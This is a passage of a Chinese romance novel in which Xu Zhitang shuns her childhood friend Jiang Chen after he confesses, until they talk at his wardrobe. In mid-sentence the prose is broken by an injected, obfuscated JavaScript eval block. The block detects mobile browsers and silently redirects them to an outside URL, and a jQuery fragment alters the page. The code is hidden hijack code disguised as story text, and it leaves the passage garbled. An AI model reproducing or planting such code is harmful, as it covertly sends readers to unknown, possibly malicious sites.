她奇怪地凑近,一看,原来是眼皮上贴了画着眼睛的纸片假装在听,其实早就睡着了。 “……” 妈妈的声音从遥远的天边传来—— 早就跟你说过,男人只会叫人生气! 许知棠像被骂醒,猛地弹坐起来,额头差点磕到前座。 她摘下眼罩,缓过神拿出气垫来照了照镜子,超绝不经意地往后照了一下,看到蒋谌正闭着眼睛,靠着椅背休息。看起来很安详。 许知棠气不打一处来。 把别人的心搅得乱糟糟的,自己还睡得着。 她啪地一声合上气垫,扭头望向舷窗。也就无从得知,蒋谌在这一声轻响中睁开眼睛,将目光聚焦的第一个落点安放在她头顶。 许知棠打定主意不跟他说话。 从下飞机到走进家门,除了用“嗯”“哦”回答,她没有跟蒋谌讲一句废话。有她在的车里堪称历史级别的安静。 许知棠每次远途回来,进门都要跟水族箱打招呼,今天也不例外。 蒋谌眼看着那群鱼都比他得到的字数多,心理有点不平衡,但也没抱怨什么。 这周两个人都非常忙,同在屋檐下也几乎见不上面。蒋谌每天加班到很晚,回到家有时候她在,有时候不在。 许知棠偶尔棚拍要通宵,收工早也是躲在自己房间里,似乎在刻意减少跟他打照面。手机上回答他的消息也是【嗯】【哦】的风格。 可以说是教科书级别的冷暴力。 但也正因如此,蒋谌第一次见到她的冷脸萌形态。 是在周三通宵过后的早晨。他起床时许知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141792|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠才收工回到家,洗完澡裹着头发蹲在餐桌前,吃一大碗牛奶泡水果麦片。 没想到他会出来,许知棠愣了一下,但是立刻逃走又显得她很没气势,于是继续蹲在椅子上大勺地吃麦片。 坦白说真是萌得要死。而且由于她平常百分之八十的时间都是笑盈盈的,这个刷新出的形态堪称稀有版限时放送。 蒋谌站在洗手间门口,面不改色地举起手机,放大屏幕迅速拍了一张。她只顾低头咀嚼吞咽,没发现。 这场单方面的冷暴力持续了一周。直到两人要去景德镇的前一晚,她需要从蒋谌的衣柜里拿衣服,才暂时休战。 许知棠知道他是很沉得住气的人,但也没想到他这么沉得住气。其实在回来的第二天她就要憋坏了,硬撑着不说话,堪称被冷暴力反伤第一人。 如果是有人故意不理她,她早就想发火了。 况且从客观上讲——许知棠也不得不承认,他其实并没有做错什么事。毕竟每个人都有告白的权力。 “你怎么不生气啊?”她抱着柔粉色的羽绒服,脸色也被映得鲜嫩可爱。 顶着这么一张无辜的脸对他说这么软萌的话,蒋谌实在不知道该怎么生气,没直接上手就不错了。 “我更担心的是你把我的话当成玩笑,听完就扔,不当回事。”他说,“现在看来是很当回事。为什么要生气?” “……” 许知棠的冷暴力没有起到应有的作用,心想真是白憋了一个礼拜。 她不知道该怎么应对这种局面,学校里没教过,医院里也没学过。唯一从中得到的经验就是,蒋谌的脸皮厚度很可能还要超过她的想象。 脸皮又厚,又沉得住气。简直是无懈可击。 实则蒋谌只是对她的要求底线比较低。 他觉得许知棠没有躲出去住就很好了,每天进门看一下鞋子就知道她在家,心里很有着落。而且景德镇的行程已经定下来,一起出去旅行总要说话的。 “就当你没说过行吗?我觉得我们这样特别不好,很……很有问题。” 许知棠不知道该怎么让他转念。连她这样冒失莽撞的性格,都觉得喜欢发小并有胆说出来是件很惊人的事,“兔子还不吃窝边草呢。” 蒋谌哦了一声,“所以觉得冷着我几天,就能让我不喜欢你了?还是想用这几天给自己洗脑,假装没听过我说喜欢你?” “什么,你别说了行么……”许知棠满脑子喜欢喜欢,快被这两个字灌晕,“我觉得,我觉得我们还是更适合做朋友,真的。就像已经一起住过去的这一个月,不是都处得挺好的么。” 她的声音逐渐弱了下去,因为想到蒋谌见她第一面就在“异性”“异性”地强调。她忽然意识到过去的一个月里,很可能只有自己在单方面地,纯粹地把他当好朋友。 而蒋谌,只是在陪她玩扮演好朋友的游戏。 天塌了。许知棠还记得自己是怎么挽着他胳膊出去逛街,又是怎么喝多了在他床上赖着不走,钻他被子里看动画片的。 在他眼里,应该都是投怀送抱的行为吧。 那现在再说什么,都显得像是她在欲擒故纵,口是心非。 家里的氧气好像也不够用了。许知棠呼吸不过来,一晃神才发觉,不知何时被困在衣柜和蒋谌之间。 离得这么近,以至于胸膛的热度直往她脸上扑。 蒋谌倒是没误解过她的行为,但确实觉得她有点天真。 “能做朋友是很好。”他低下头,呼吸轻飘飘地拂过耳畔。连带着说出的话也不像真心的。 “但你该在十年前就劝我。”